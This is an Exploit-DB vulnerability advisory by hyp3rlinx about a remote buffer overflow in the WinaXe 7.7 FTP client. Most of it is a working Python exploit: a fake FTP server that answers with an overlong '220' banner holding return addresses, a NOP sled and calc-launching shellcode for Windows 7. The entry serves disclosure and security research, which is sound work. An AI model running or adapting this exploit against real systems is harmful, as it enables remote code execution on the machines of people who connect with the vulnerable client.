Exploit-DB #40693
Description: WinaXe 7.7 'FTP client' - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2016-11-03
Author: hyp3rlinx

Exploit:
[+] Credits: John Page aka hyp3rlinx	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt

[+] ISR: Apparition Security



Vendor:
============
www.labf.com



Product:
================
WinaXe v7.7 FTP 

The X Window System, SSH, TCP/IP, NFS, FTP, TFTP and Telnet software are built and provided in the package.
All that you need to run remote UNIX and X Applications is included within WinaXe Plus. You operate simultaneously with
X11, FTP and Telnet sessions and with your familiar MS Windows applications.



Vulnerability Type:
=======================
Remote Buffer Overflow



Vulnerability Details:
======================

WinaXe v7.7 FTP client is subject to MULTIPLE remote buffer overflow vectors when connecting to a malicious FTP Server and
receiving overly long payloads in the command response from the remote server.

220 SERVICE READY 
331 USER / PASS
200 TYPE
257 PWD

etc...

below is POC for "server ready" 220 command exploit when first connecting to a FTP server.


Exploit code(s):
===============

import socket,struct

#WinaXe v7.7 FTP Client 'Service Ready' Command Buffer Overflow Exploit
#Discovery hyp3rlinx
#ISR: ApparitionSec
#hyp3rlinx.altervista.org


#shellcode to pop calc.exe Windows 7 SP1
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")


eip=struct.pack('<L',0x68084A6F)    #POP ECX RET 
jmpesp=struct.pack('<L',0x68017296) #JMP ESP

#We will do POP ECX RET and place a JMP ESP address at the RET address that will jump to shellcode.

payload="A"*2061+eip+jmpesp+"\x90"*10+sc+"\x90"*20     #Server Ready '220' Exploit

port = 21                   
s = socket.socket()
host = '127.0.0.1'              
s.bind((host, port))            
s.listen(5)                    

print 'Evil FTPServer listening...'

while True:
    conn, addr = s.accept()     
    conn.send('220'+payload+'\r\n')
    conn.close()





Exploitation Technique:
=======================
Remote



Severity Level:
================
High



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.